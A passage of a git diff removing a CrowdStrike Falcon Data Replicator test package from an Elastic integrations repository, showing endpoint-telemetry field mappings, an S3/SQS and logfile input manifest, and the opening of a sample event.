- - name: NetworkListenCount - type: long - - name: NetworkModuleLoadCount - type: long - - name: NetworkRecvAcceptCount - type: long - - name: NewExecutableWrittenCount - type: long - - name: NewFileIdentifier - type: keyword - - name: NlMtu - type: keyword - - name: Nonce - type: unsigned_long - - name: Object1Type - type: keyword - - name: OnLinkPrefixLength - type: keyword - - name: OperStatus - type: keyword - - name: OriginalContentLength - type: keyword - - name: OriginalEventTimeStamp - type: keyword - - name: OriginalFilename - type: keyword - - name: OriginalParentAuthenticationId - type: keyword - - name: OriginalUserName - type: keyword - - name: OriginalUserSid - type: keyword - - name: OSVersionFileData - type: match_only_text - - name: OSVersionFileName - type: keyword - - name: OU - type: keyword - - name: ObjectNameEtw - type: match_only_text - - name: ObjectTypeEtw - type: match_only_text - - name: Objective - type: keyword - - name: OciContainerAppName - type: match_only_text - - name: OciContainerAppVersion - type: match_only_text - - name: OciContainerConfigImage - type: match_only_text - - name: OciContainerConfigLabels - type: match_only_text - - name: OciContainerConfigTty - type: match_only_text - - name: OciContainerConfigUser - type: match_only_text - - name: OciContainerEngineType - type: match_only_text - - name: OciContainerHostConfigCgroup - type: match_only_text - - name: OciContainerHostConfigDevices - type: match_only_text - - name: OciContainerHostConfigOomKillDisable - type: match_only_text - - name: OciContainerHostConfigPrivileged - type: match_only_text - - name: OciContainerHostConfigPublishAllPorts - type: match_only_text - - name: OciContainerHostConfigReadOnlyRootfs - type: match_only_text - - name: OciContainerId - type: match_only_text - - name: OciContainerImageId - type: match_only_text - - name: OciContainerInfoRetransmitted - type: match_only_text - - name: OciContainerMounts - type: match_only_text - - name: OciContainerName - type: match_only_text - - name: OciContainerNetworkSettingsIpAddress - type: match_only_text - - name: OciContainerPhase - type: match_only_text - - name: OciContainerStateOOMKilled - type: match_only_text - - name: OciContainerStatePid - type: match_only_text - - name: OciContainersStartedCount - type: match_only_text - - name: OciContainersStoppedCount - type: match_only_text - - name: OperationFlags - type: keyword - - name: Options - type: keyword - - name: OutBroadcastOctets - type: keyword - - name: OutDiscards - type: keyword - - name: OutErrors - type: keyword - - name: OutMulticastOctets - type: keyword - - name: OutMulticastPkts - type: keyword - - name: OutNUcastPkts - type: keyword - - name: OutOctets - type: keyword - - name: OutUcastOctets - type: keyword - - name: OutUcastPkts - type: keyword - - name: Parameter1 - type: keyword - - name: Parameter2 - type: keyword - - name: Parameter3 - type: keyword - - name: Parameter64_1 - type: keyword - - name: Parameter64_2 - type: keyword - - name: Parameter64_3 - type: keyword - - name: ParentAuthenticationId - type: keyword - - name: PathMtuDiscoveryTimeout - type: keyword - - name: ParentCommandLine - type: keyword - multi_fields: - - name: text - type: match_only_text - - name: ParentImageFileName - type: keyword - - name: ParentImageFilePath - type: keyword - - name: PasswordLastSet - type: keyword - - name: PatternDispositionDescription - type: keyword - - name: PatternDispositionFlags - type: group - fields: - - name: ContainmentFileSystem - type: boolean - - name: BlockingUnsupportedOrDisabled - type: boolean - - name: BootupSafeguardEnabled - type: boolean - - name: CriticalProcessDisabled - type: boolean - - name: Detect - type: boolean - - name: FsOperationBlocked - type: boolean - - name: HandleOperationDowngraded - type: boolean - - name: InddetMask - type: boolean - - name: Indicator - type: boolean - - name: KillActionFailed - type: boolean - - name: KillParent - type: boolean - - name: KillProcess - type: boolean - - name: KillSubProcess - type: boolean - - name: OperationBlocked - type: boolean - - name: PolicyDisabled - type: boolean - - name: ProcessBlocked - type: boolean - - name: QuarantineFile - type: boolean - - name: QuarantineMachine - type: boolean - - name: RegistryOperationBlocked - type: boolean - - name: Rooting - type: boolean - - name: SensorOnly - type: boolean - - name: SuspendParent - type: boolean - - name: SuspendProcess - type: boolean - - name: PatternDispositionValue - type: long - - name: PatternId - type: keyword - - name: PatternIdList - type: match_only_text - - name: PciAttachmentState - type: keyword - - name: PciConfigDataBdsm - type: match_only_text - - name: PciConfigDataBiosCntl - type: match_only_text - - name: PciConfigDataGenPmconA - type: match_only_text - - name: PciConfigDataGgc - type: match_only_text - - name: PciConfigDataHfsts1 - type: match_only_text - - name: PciConfigDataMesegBase - type: match_only_text - - name: PciConfigDataRemapbase - type: match_only_text - - name: PciConfigDataRemaplimit - type: match_only_text - - name: PciConfigDataSmramc - type: match_only_text - - name: PciConfigDataTom - type: match_only_text - - name: PciConfigDataTouud - type: match_only_text - - name: PciConfigDataTsegmb - type: match_only_text - - name: Pcr0 - type: match_only_text - - name: Pcr1 - type: match_only_text - - name: Pcr2 - type: match_only_text - - name: Pcr3 - type: match_only_text - - name: Pcr4 - type: match_only_text - - name: Pcr5 - type: match_only_text - - name: Pcr6 - type: match_only_text - - name: Pcr7 - type: match_only_text - - name: PendingUpdateIds - type: match_only_text - - name: PerformanceCounter - type: keyword - - name: PermanentPhysicalAddress - type: keyword - - name: PhysicalAddress - type: keyword - - name: PhysicalAddressLength - type: long - - name: PhysicalCoreCount - type: long - - name: PhysicalMediumType - type: keyword - - name: PlatformId - type: keyword - - name: PlatformName - type: keyword - - name: PointerSize - type: keyword - - name: PreferredLifetime - type: keyword - - name: PrefixLength - type: keyword - - name: PrefixOrigin - type: keyword - - name: PreviousConnectTime - type: date - - name: PrivilegedProcessHandleCount - type: long - - name: PrimaryModule - type: keyword - - name: PrivilegesBitmask - type: keyword - - name: ProcessAttributes - type: match_only_text - - name: ProcessCount - type: long - - name: ProcessCreateFlags - type: keyword - - name: ProcessId - type: long - - name: ProcessParameterFlags - type: keyword - - name: ProcessStartKey - type: keyword - - name: ProcessSxsFlags - type: keyword - - name: ProcessorPackageCount - type: long - - name: ProductType - type: keyword - - name: ProtectVirtualMemoryCount - type: long - - name: ProvisionState - type: keyword - - name: PublicKeys - type: keyword - - name: PupAdwareConfidence - type: keyword - - name: PupAdwareDecisionValue - type: keyword - - name: QuarantinedFileExtendedState - type: match_only_text - - name: QuarantinedFileName - type: match_only_text - - name: QuarantinedFileState - type: match_only_text - - name: QueryStatus - type: integer - - name: QueueApcCount - type: long - - name: RawThreadId - type: keyword - - name: ReachableTime - type: keyword - - name: ReceiveLinkSpeed - type: keyword - - name: ReferrerUrl - type: keyword - - name: RegClassification - type: keyword - - name: RegClassificationFlags - type: keyword - - name: RegClassificationIndex - type: keyword - - name: RegConfigClass - type: keyword - - name: RegConfigFlags - type: keyword - - name: RegConfigIndex - type: keyword - - name: RegConfigValueType - type: keyword - - name: RegObjectName - type: keyword - - name: RegOperationType - type: keyword - - name: RegType - type: keyword - - name: RegValueName - type: keyword - - name: RemoteAddressMaskIP4 - type: keyword - - name: RemoteAddressMaskIP6 - type: keyword - - name: RemoteAddressString - type: keyword - - name: ResendToCloud - type: keyword - - name: RespondingDnsServer - type: keyword - - name: RetransmitTime - type: keyword - - name: RFMState - type: keyword - - name: RGID - type: keyword - - name: RootPath - type: keyword - - name: RouteAge - type: keyword - - name: RouteMetric - type: keyword - - name: RouteOrigin - type: keyword - - name: RouterDiscoveryBehavior - type: keyword - - name: RPath - type: match_only_text - - name: RUID - type: keyword - - name: ReasonOfFunctionalityLevel - type: keyword - - name: RegBinaryValue - type: match_only_text - - name: RegCreateDisposition - type: match_only_text - - name: RegCreateOptions - type: match_only_text - - name: RegKeySecurityDecreasedCount - type: long - - name: RegPostObjectName - type: match_only_text - - name: RegRootObjectName - type: match_only_text - - name: RegStringValue - type: match_only_text - - name: RemoteAccount - type: keyword - - name: RemovableDiskFileWrittenCount - type: long - - name: RequestType - type: keyword - - name: RpcClientProcessId - type: keyword - - name: RpcClientThreadId - type: keyword - - name: RpcNestingLevel - type: keyword - - name: RpcOpClassification - type: match_only_text - - name: RpcOpNum - type: keyword - - name: RunDllInvocationCount - type: long - - name: SHA1String - type: keyword - - name: SHA256String - type: keyword - - name: SVGID - type: keyword - - name: SVUID - type: keyword - - name: SamAccountName - type: match_only_text - - name: ScopeLevel - type: keyword - - name: ScopeZone - type: keyword - - name: ScreenshotsTakenCount - type: long - - name: ScreenshotType - type: keyword - - name: ScriptContent - type: match_only_text - - name: ScriptContentBytes - type: match_only_text - - name: ScriptContentName - type: keyword - - name: ScriptContentScanId - type: match_only_text - - name: ScriptControlErrorCode - type: keyword - - name: ScriptEngineInvocationCount - type: long - - name: ScriptingLanguageId - type: keyword - - name: SensorGroupingTags - type: keyword - - name: SensorId - type: keyword - - name: SensorStateBitMap - type: keyword - - name: ServiceAccessPropertiesEtw - type: match_only_text - - name: ServiceDelayedAutoStart - type: match_only_text - - name: ServiceDependOnService - type: match_only_text - - name: ServiceDescription - type: keyword - - name: ServiceDisplayName - type: keyword - - name: ServiceErrorControl - type: keyword - - name: ServiceEventCount - type: long - - name: ServiceFailureActions - type: keyword - - name: ServiceImagePath - type: keyword - - name: ServiceSecurity - type: keyword - - name: ServiceStart - type: keyword - - name: ServiceType - type: keyword - - name: ServicePackMajor - type: keyword - - name: SessionId - type: keyword - - name: SessionProcessId - type: keyword - - name: SetThreadContextCount - type: long - - name: Severity - type: integer - - name: SeverityName - type: keyword - - name: ShareAccess - type: keyword - - name: SiteName - type: keyword - - name: Size - type: long - - name: SHA1HashData - type: keyword - - name: SHA256HashData - type: keyword - - name: ShareName - type: keyword - - name: ShareSecurity - type: keyword - - name: ShareSecuritySddl - type: keyword - - name: SignatureErrorState - type: keyword - - name: SignatureState - type: keyword - - name: SignInfoFlags - type: keyword - - name: SitePrefixLength - type: keyword - - name: SkipAsSource - type: keyword - - name: SmbClientName - type: keyword - - name: SmbShareName - type: keyword - - name: SnapshotFileOpenCount - type: long - - name: SourceAccountDomain - type: keyword - - name: SourceAccountObjectGuid - type: keyword - - name: SourceAccountObjectSid - type: keyword - - name: SourceAccountSamAccountName - type: keyword - - name: SourceEndpointAccountObjectGuid - type: keyword - - name: SourceEndpointAccountObjectSid - type: keyword - - name: SourceEndpointAddressIP4 - type: keyword - - name: SourceEndpointHostName - type: keyword - - name: SourceEndpointNetworkTag - type: keyword - - name: SourceEndpointNetworkType - type: keyword - - name: SourceEventUniqueId - type: keyword - - name: SourceFileName - type: keyword - - name: SourceProcessId - type: keyword - - name: SourceProducts - type: keyword - - name: SourceThreadId - type: keyword - - name: SourceThreadModule - type: match_only_text - - name: SourceThreadStartAddress - type: keyword - - name: SourceVendors - type: keyword - - name: SpibarDataBfpr - type: match_only_text - - name: SpibarDataFreg0 - type: match_only_text - - name: SpibarDataFreg1 - type: match_only_text - - name: SpibarDataFreg2 - type: match_only_text - - name: SpibarDataFreg3 - type: match_only_text - - name: SpibarDataFreg4 - type: match_only_text - - name: SpibarDataHsfs - type: match_only_text - - name: SpibarDataPr0 - type: match_only_text - - name: SpibarDataPr1 - type: match_only_text - - name: SpibarDataPr2 - type: match_only_text - - name: SpibarDataPr3 - type: match_only_text - - name: SpibarDataPr4 - type: match_only_text - - name: SpibarDataVscc0 - type: match_only_text - - name: SpibarDataVscc1 - type: match_only_text - - name: StartTime - type: date - - name: Status - type: keyword - - name: StorageUsageInfo - type: match_only_text - - name: SubStatus - type: keyword - - name: SubjectDomainNameEtw - type: match_only_text - - name: SuffixOrigin - type: keyword - - name: SuppressType - type: keyword - - name: SuspectStackCount - type: long - - name: SuspiciousCredentialModuleLoadCount - type: long - - name: SuspiciousDnsRequestCount - type: long - - name: SuspiciousFontLoadCount - type: long - - name: SuspiciousRawDiskReadCount - type: long - - name: SymbolicLinkName - type: keyword - - name: SymbolicLinkTarget - type: keyword - - name: SyntheticPR2Flags - type: keyword - - name: SystemManufacturer - type: keyword - - name: SystemProcessCount - type: match_only_text - - name: SystemProductName - type: keyword - - name: SystemSerialNumber - type: keyword - - name: SystemSku - type: keyword - - name: SystemTableIndex - type: long - - name: Tactic - type: keyword - - name: Tags - type: keyword - - name: TargetCommandLineParameters - type: keyword - - name: TargetDomainControllerObjectGuid - type: keyword - - name: TargetDomainControllerObjectSid - type: keyword - - name: TargetFileName - type: keyword - - name: TargetSHA256HashData - type: keyword - - name: TargetThreadId - type: keyword - - name: TargetThreadModule - type: keyword - - name: TaskAuthor - type: keyword - - name: TaskExecArguments - type: keyword - - name: TaskExecCommand - type: keyword - - name: TaskName - type: keyword - - name: TaskXml - type: match_only_text - - name: Technique - type: keyword - - name: TemplateDisposition - type: keyword - - name: TemplateInstanceId - type: keyword - - name: ThreadStartAddress - type: keyword - - name: ThreadStartBytes - type: match_only_text - - name: ThreadStartContext - type: keyword - - name: Timeout - type: long - - name: TokenType - type: keyword - - name: TotalCount - type: long - - name: TransmitLinkSpeed - type: keyword - - name: TreeId - type: keyword - - name: TunnelType - type: keyword - - name: Type - type: keyword - description: 'The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection).' - - name: USN - type: keyword - - name: UninstallPendingUpdateIds - type: match_only_text - - name: UnixMode - type: keyword - - name: UnsignedModuleLoadCount - type: long - - name: UploadId - type: keyword - - name: User - type: keyword - - name: UserFlags - type: keyword - - name: UserGroupsBitmask - type: keyword - - name: UserLogoffType - type: keyword - - name: UserLogonFlags - type: keyword - - name: UserLogonFlags_decimal - type: keyword - - name: UserMemoryAllocateExecutableCount - type: long - - name: UserMemoryAllocateExecutableRemoteCount - type: long - - name: UserMemoryProtectExecutableCount - type: long - - name: UserMemoryProtectExecutableRemoteCount - type: long - - name: UserName - type: keyword - - name: UserRid - type: keyword - - name: UserSid - type: keyword - - name: UserSid_readable - type: keyword - - name: UserThread - type: keyword - - name: UserTime - type: long - - name: ValidLifetime - type: keyword - - name: VerifiedCertificate - type: keyword - - name: VersionInfo - type: match_only_text - - name: VnodeModificationType - type: keyword - - name: VnodeType - type: keyword - - name: VolumeAppearanceTime - type: keyword - - name: VolumeBusName - type: keyword - - name: VolumeBusPath - type: keyword - - name: VolumeDeviceCharacteristics - type: keyword - - name: VolumeDeviceInternal - type: keyword - - name: VolumeDeviceModel - type: keyword - - name: VolumeDeviceObjectFlags - type: keyword - - name: VolumeDevicePath - type: keyword - - name: VolumeDeviceProtocol - type: keyword - - name: VolumeDeviceRevision - type: keyword - - name: VolumeDeviceType - type: keyword - - name: VolumeDeviceVendor - type: match_only_text - - name: VolumeDriveLetter - type: keyword - - name: VolumeEncryptionStatus - type: keyword - - name: VolumeFileSystemDevice - type: keyword - - name: VolumeFileSystemDriver - type: keyword - - name: VolumeFileSystemType - type: keyword - - name: VolumeIsEncrypted - type: keyword - - name: VolumeIsNetwork - type: keyword - - name: VolumeLabel - type: keyword - - name: VolumeMediaBSDMajor - type: keyword - - name: VolumeMediaBSDMinor - type: keyword - - name: VolumeMediaBSDName - type: keyword - - name: VolumeMediaBSDUnit - type: keyword - - name: VolumeMediaContent - type: keyword - - name: VolumeMediaEjectable - type: keyword - - name: VolumeMediaName - type: keyword - - name: VolumeMediaPath - type: keyword - - name: VolumeMediaRemovable - type: keyword - - name: VolumeMediaSize - type: keyword - - name: VolumeMediaUUID - type: keyword - - name: VolumeMediaWhole - type: keyword - - name: VolumeMediaWritable - type: keyword - - name: VolumeMountPoint - type: keyword - - name: VolumeName - type: keyword - - name: VolumeOriginPath - type: match_only_text - - name: VolumeRealDeviceName - type: keyword - - name: VolumeSectorSize - type: keyword - - name: VolumeSessionUUID - type: keyword - - name: VolumeSnapshotName - type: match_only_text - - name: VolumeSnapshotTimeStamp - type: match_only_text - - name: VolumeType - type: keyword - - name: VolumeUUID - type: keyword - - name: AntiTamperStateFlag - type: keyword - - name: AssemblyFlags - type: keyword - - name: AssemblyId - type: keyword - - name: AssemblyName - type: keyword - - name: BatchDataNumber - type: keyword - - name: BatchDataTotal - type: keyword - - name: BatchTimestamp - type: date - - name: BrowserExtensionId - type: keyword - - name: BrowserExtensionInstallMethod - type: keyword - - name: BrowserExtensionStatusEnabled - type: keyword - - name: BrowserFileHash - type: keyword - - name: BrowserFilePath - type: keyword - - name: BrowserName - type: keyword - - name: BrowserProfileId - type: keyword - - name: BrowserProfileName - type: keyword - - name: BrowserVersion - type: keyword - - name: ClientProcessStartKey - type: keyword - - name: ContextProcessTagsAsString - type: keyword - - name: DotnetModuleFlags - type: keyword - - name: DotnetModuleId - type: keyword - - name: EtwProviderType - type: keyword - - name: EtwRawRpcClientProcessId - type: keyword - - name: GrandparentProcessId - type: keyword - - name: HandleOperationType - type: keyword - - name: ImageBaseName - type: keyword - - name: IsHosted - type: keyword - - name: ModuleILPath - type: keyword - - name: MountedVolumeAction - type: keyword - - name: ParentProcessPatternIdList - type: keyword - - name: RTRState - type: keyword - - name: ServiceCurrentState - type: keyword - - name: ShannonEntropy - type: keyword - - name: TargetAuthenticationId - type: keyword - - name: TargetIntegrityLevel - type: keyword - - name: TargetProcessCommandLine - type: keyword - - name: TargetProcessImageFileName - type: keyword - - name: UpdateFlag - type: keyword - - name: WindowFlags - type: keyword - - name: WmiNamespaceName - type: keyword - - name: WmiProviderName - type: keyword - - name: WmiProviderType - type: keyword - - name: WmiQuery - type: keyword - - name: AnodeIndicators - type: nested - - name: ContentPatterns - type: group - fields: - - name: ID - type: keyword - - name: Name - type: keyword - - name: ConfidenceLevel - type: long - - name: MatchCount - type: long - - name: Destination - type: nested - - name: Destination.Channel - type: keyword - - name: EventTimestamp - type: date - - name: FileType.Type - type: group - fields: - - name: CategoryID - type: keyword - - name: CategoryName - type: keyword - - name: Description - type: keyword - - name: ID - type: keyword - - name: Name - type: keyword - - name: FilesEgressedCount - type: long - - name: FileCategoryCounts - type: nested - - name: ContentPatternCounts - type: nested - - name: DetectionType - type: keyword - - name: EgressEventId - type: keyword - - name: EgressSessionId - type: keyword - - name: IsClipboard - type: boolean - - name: MatchedClassification - type: group - fields: - - name: ID - type: keyword - - name: Name - type: keyword - - name: OriginWebLocations - type: flattened - - name: RelatedClassifications - type: group - fields: - - name: ID - type: keyword - - name: Name - type: keyword - - name: ResponseAction - type: keyword - - name: RuleId - type: keyword - - name: UserNotified - type: boolean - - name: UserTitle - type: keyword - - name: UserDepartment - type: keyword - - name: UserMapped - type: boolean - - name: aipCount - type: integer - - name: assessments - type: flattened - - name: cid - type: keyword - - name: discovererCount - type: integer - - name: discoverer_aid - type: keyword - - name: eid - type: integer - - name: hostname - type: keyword - - name: id - type: keyword - - name: info.host.* - description: Host information enriched from aidmaster data. - type: object - object_type: keyword - object_type_mapping_type: '*' - - name: info.user.* - description: User information enriched from userinfo data. - type: object - object_type: keyword - object_type_mapping_type: '*' - - name: localipCount - type: integer - - name: monthsincereset - type: keyword - - name: name - type: keyword - - name: os_version - type: keyword - - name: product_type_desc - type: keyword - - name: scores - type: group - fields: - - name: modified_time - type: date - - name: os - type: long - - name: overall - type: long - - name: sensor - type: long - - name: version - type: keyword - - name: subnet - type: keyword - - name: finding - type: keyword - - name: disposition - type: keyword - - name: cis_benchmark_ids - type: keyword - - name: cisa_benchmark_ids - type: keyword - - name: cloud_asset_type - type: long - - name: cloudplatform - type: keyword - - name: internal_only - type: boolean - - name: iso_benchmark_ids - type: keyword - - name: nist_benchmark_ids - type: keyword - - name: pci_benchmark_ids - type: keyword - - name: policy_severity - type: long - - name: ResourceCreateTime - type: date - - name: ResourceAttributes - type: flattened - - name: ResourceId - type: keyword - - name: ResourceIdType - type: keyword - - name: resource_url - type: keyword - - name: service - type: keyword - - name: soc2_benchmark_ids - type: keyword - - name: aws_account_id - type: keyword - - name: attack_types - type: keyword - - name: event_category - type: keyword - - name: management_event - type: boolean - - name: read_only - type: boolean - - name: request_id - type: keyword - - name: request_parameters - type: keyword - - name: response_elements - type: keyword - - name: user_identity_access_key_id - type: keyword - - name: user_identity_account_id - type: keyword - - name: user_identity_arn - type: keyword - - name: user_identity_mfa_authenticated - type: boolean - - name: vertex_id - type: keyword - - name: vertex_type - type: keyword - - name: event-type - type: keyword - - name: compliance - type: group - fields: - - name: benchmarkNames - type: keyword - - name: frameworks - type: keyword - - name: requirements - type: keyword - - name: sections - type: keyword - - name: versions - type: keyword - - name: created - type: date - - name: crn - type: keyword - - name: firstDetected - type: date - - name: lastDetected - type: date - - name: legacyPolicyId - type: long - - name: resource - type: group - fields: - - name: captured - type: date - - name: legacyResourceId - type: keyword - - name: legacyResourceTypeId - type: long - - name: resourceId - type: keyword - - name: resourceType - type: keyword - - name: revision - type: long - - name: status - type: keyword - - name: url - type: keyword - - name: findings - type: group - fields: - - name: name - type: keyword - - name: value - type: keyword - - name: ChangeId - type: keyword - - name: ContentDiff - type: group - fields: - - name: Exists - type: boolean - - name: Prevalence - type: group - fields: - - name: Key - type: keyword - - name: Suppression - type: group - fields: - - name: Suppressed - type: boolean - - name: Policy - type: group - fields: - - name: ID - type: keyword - - name: Name - type: keyword - - name: IsEBPF - type: keyword - - name: IsFromDifferentMountNamespace - type: keyword - - name: ObjectAccessOperationType - type: keyword - - name: ObjectType - type: keyword - - name: PolicyRuleSeverity - type: long - - name: FileAttributesNew - type: keyword - - name: FileAttributesPrevious - type: keyword - - name: NewFileAttributesLinux - type: keyword - - name: NewUnixPermissions - type: keyword - - name: PreviousFileAttributesLinux - type: keyword - - name: PreviousUnixPermissions - type: keyword - - name: SecurityInformationLinux - type: keyword -- name: dll.Ext.size - type: long - description: Size of DLL. -- name: file.Ext.original.name - type: keyword -- name: file.Ext.original.path - type: keyword -- name: process.Ext.token.integrity_level_name - type: keyword - description: Human readable integrity level. -- name: user.Ext.real.id - type: keyword - description: One or multiple unique identifiers of the user. -- name: group.Ext.real.id - type: keyword - description: Unique identifier for the group on the system/platform. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/manifest.yml deleted file mode 100644 index ae80783f57..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/manifest.yml +++ /dev/null @@ -1,296 +0,0 @@ -title: "Falcon Data Replicator" -type: logs -elasticsearch: - index_template: - settings: - index: - mapping: - total_fields: - limit: 2000 -streams: - - input: aws-s3 - template_path: aws-s3.yml.hbs - title: Falcon Data Replicator logs - description: Collect Falcon Data Replicator logs using s3 input - enabled: false - vars: - - name: access_key_id - type: text - title: Access Key ID - multi: false - required: false - show_user: true - secret: false - - name: secret_access_key - type: password - title: Secret Access Key - multi: false - required: false - show_user: true - secret: true - - name: session_token - type: password - title: Session Token - multi: false - required: false - show_user: true - secret: true - - name: queue_url - type: text - title: Queue URL - multi: false - required: true - show_user: true - description: URL of the AWS SQS queue that messages will be received from. - - name: enrich_metadata - required: true - show_user: true - title: Enrich Host and User Metadata - description: Uses data in aidmaster and userinfo to add host and user information to events. The aidmaster blob must contain the string "aidmaster" in its path and the userinfo blob path must contain "userinfo", and the FDR Notification Parsing Script must sort events so that aidmaster and userinfo events appear first in the stream. - type: bool - multi: false - default: true - - name: keep_metadata - required: true - show_user: false - title: Keep Original Host and User Metadata - description: Keep the aidmaster and userinfo documents after they have been used for event enrichment. - type: bool - multi: false - default: false - - name: metadata_ttl - required: true - show_user: true - title: Metadata TTL - description: The period of time that metadata is considered valid for. Valid time units are h, m, s, ms, us/µs and ns. - type: text - multi: false - default: 168h - - name: metadata_cache_capacity - required: true - show_user: false - title: Metadata cache capacity - description: "The maximum amount of metadata objects to cache. Operations that would cause the capacity to be exceeded will result in evictions of the oldest elements. The capacity should not be lower than the number of elements that are expected to be referenced when processing the input as evicted elements are lost. Values at or below zero indicate no limit. \nWARNING: This setting needs to be set only if the amount of metadata elements is known beforehand, otherwise it might lead to enrichment data loss. If you are not sure, leave it untouched.\n" - type: text - multi: false - default: 0 - - name: metadata_cache_write_interval - required: true - show_user: false - title: Metadata cache write interval - description: The interval between periodic cache writes to the backing file. Valid time units are h, m, s, ms, us/µs and ns. The contents are always written out to the backing file when the processor is closed. Default is zero, no periodic writes. - type: text - multi: false - default: 0 - - name: long_fields - title: Long Fields - description: Choose to `Index` or `Delete` long fields. Fields longer than 1024 bytes (except `event.original`) will be kept (indexed) or deleted based on this option. - type: select - multi: false - required: true - show_user: false - options: - - text: Index - value: index_long_fields - - text: Delete - value: delete_long_fields - default: index_long_fields - - name: long_fields_max_length - type: integer - title: Maximum Length of Fields - description: The maximum length of fields (in bytes) to consider them as too long. By default, fields larger than `1024` bytes are considered too long. This option in addition to `Long Fields` option helps users configure how integration should handle long fields. - default: 1024 - required: true - show_user: false - - name: enable_deduplication - title: Enable Data Deduplication - required: true - show_user: false - description: If data deduplication is enabled, it ensures that no duplicate events are indexed. This is achieved by generating an `_id` value based on the content of each event using the [fingerprint processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html). If the option is disabled, every received event will be indexed with a unique `_id` generated by Elasticsearch (overriding the the AWS-S3 input's [_id-Based Deduplication](https://www.elastic.co/docs/reference/beats/filebeat/filebeat-input-aws-s3#_document_id_generation) feature). - type: bool - multi: false - default: false - - name: preserve_original_event - required: true - show_user: true - title: Preserve original event - description: Preserves a raw copy of the original event, added to the field `event.original` - type: bool - multi: false - default: false - - name: shared_credential_file - type: text - title: Shared Credential File - multi: false - required: false - show_user: false - description: Directory of the shared credentials file - - name: credential_profile_name - type: text - title: Credential Profile Name - multi: false - required: false - show_user: false - - name: role_arn - type: text - title: Role ARN - multi: false - required: false - show_user: false - - name: endpoint - type: text - title: Endpoint - multi: false - required: false - show_user: false - default: "" - description: URL of the entry point for an AWS web service - - name: default_region - type: text - title: Default AWS Region - multi: false - required: false - show_user: false - default: "" - description: Default region to use prior to connecting to region specific services/endpoints if no AWS region is set from environment variable, credentials or instance profile. If none of the above are set and no default region is set as well, `us-east-1` is used. A region, either from environment variable, credentials or instance profile or from this default region setting, needs to be set when using regions in non-regular AWS environments such as AWS China or US Government Isolated. - - name: visibility_timeout - type: text - title: Visibility Timeout - multi: false - required: false - show_user: false - description: The duration that the received messages are hidden from subsequent retrieve requests after being retrieved by a ReceiveMessage request. The maximum is 12 hours. Valid time units are h, m, s. - - name: api_timeout - type: text - title: API Timeout - multi: false - required: false - show_user: false - description: The maximum duration of AWS API can take. The maximum is half of the visibility timeout value. Valid time units are h, m, s. - - name: fips_enabled - type: bool - title: Enable S3 FIPS - default: false - multi: false - required: false - show_user: false - description: Enabling this option changes the service name from `s3` to `s3-fips` for connecting to the correct service endpoint. - - name: proxy_url - type: text - title: Proxy URL - multi: false - required: false - show_user: false - description: URL to proxy connections in the form of http\[s\]://:@: - - name: tags - type: text - title: Tags - multi: true - show_user: false - default: - - forwarded - - crowdstrike-fdr - - name: processors - type: yaml - title: Processors - multi: false - required: false - show_user: false - description: > - Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details. - - - name: max_number_of_messages - type: integer - title: Maximum Concurrent SQS Messages - description: Deprecated in agent version 8.16.0, this parameter is ignored if present, use `Number of Workers` instead. The maximum number of SQS messages that can be in flight at any time. - default: 5 - required: false - show_user: false - - name: number_of_workers - type: integer - title: Number of Workers - description: Number of workers that will process the S3 or SQS objects listed. - default: 5 - required: false - show_user: false - - - name: prune_fields - type: bool - title: Prune Fields - default: true - multi: false - required: false - show_user: false - description: >- - Prune fields deletes fields that are less likely to be useful. This includes `agent.ephemeral_id`, `ecs.version`, - `event.timezone` and `log.offset`. - - input: logfile - title: Falcon Data Replicator logs - description: Collect Falcon Data Replicator logs using a log file - enabled: false - vars: - - name: paths - type: text - title: Paths - multi: true - default: - - /var/log/falcon_data_replicator.log - show_user: true - - name: enrich_host_metadata - required: true - show_user: true - title: Enrich Host and User Metadata - description: Uses data in aidmaster and userinfo to add host and user information to events. The aidmaster file must be included in the paths configuration, include the string "aidmaster" in the path host information file path and "userinfo" in the user information file bath, and have a file paths that sorts before the FDR log file paths. - type: bool - multi: false - default: true - - name: keep_metadata - required: true - show_user: false - title: Keep Original Host and User Metadata - description: Keep the aidmaster and userinfo documents after they have been used for event enrichment. - type: bool - multi: false - default: false - - name: metadata_ttl - required: true - show_user: true - title: Metadata TTL - description: The period of time that host metadata is considered valid for. Valid time units are h, m, s, ms, us/µs and ns. - type: text - multi: false - default: 168h - - name: preserve_original_event - required: true - show_user: true - title: Preserve original event - description: Preserves a raw copy of the original event, added to the field `event.original` - type: bool - multi: false - default: false - - name: tags - type: text - title: Tags - multi: true - show_user: false - default: - - forwarded - - crowdstrike-fdr - - name: processors - type: yaml - title: Processors - multi: false - required: false - show_user: false - description: > - Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details. - - name: prune_fields - type: bool - title: Prune Fields - default: true - multi: false - required: false - show_user: false - description: >- - Prune fields deletes fields that are less likely to be useful. This includes `agent.ephemeral_id`, `ecs.version`, - `event.timezone` and `log.offset`. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/sample_event.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/sample_event.json deleted file mode 100644 index a9e86832a5..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/sample_event.json +++ /dev/null @@ -1,213 +0,0 @@ -{ - "@timestamp": "2020-10-01T09:58:32.519Z", - "agent": { - "id": "eb2db106-5958-49b5-ae25-c286e62857e1", - "name": "elastic-agent-67101", - "type": "filebeat", - "version": "8.18.0" - }, - "aws": { - "s3": { - "bucket": { - "name": "elastic-package-crowdstrike-fdr-19614" - }, - "object": { - "key": "data" - } - } - }, - "crowdstrike": { - "AuthenticationId": "3783389", - "ConfigStateHash": "3998263252", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "ImageSubsystem": "2", - "IntegrityLevel": "4096", - "MD5HashData": "50d5fd1290d94d46acca0585311e74d5", - "ParentAuthenticationId": "3783389", - "ProcessCreateFlags": "525332", - "ProcessParameterFlags": "16385", - "ProcessSxsFlags": 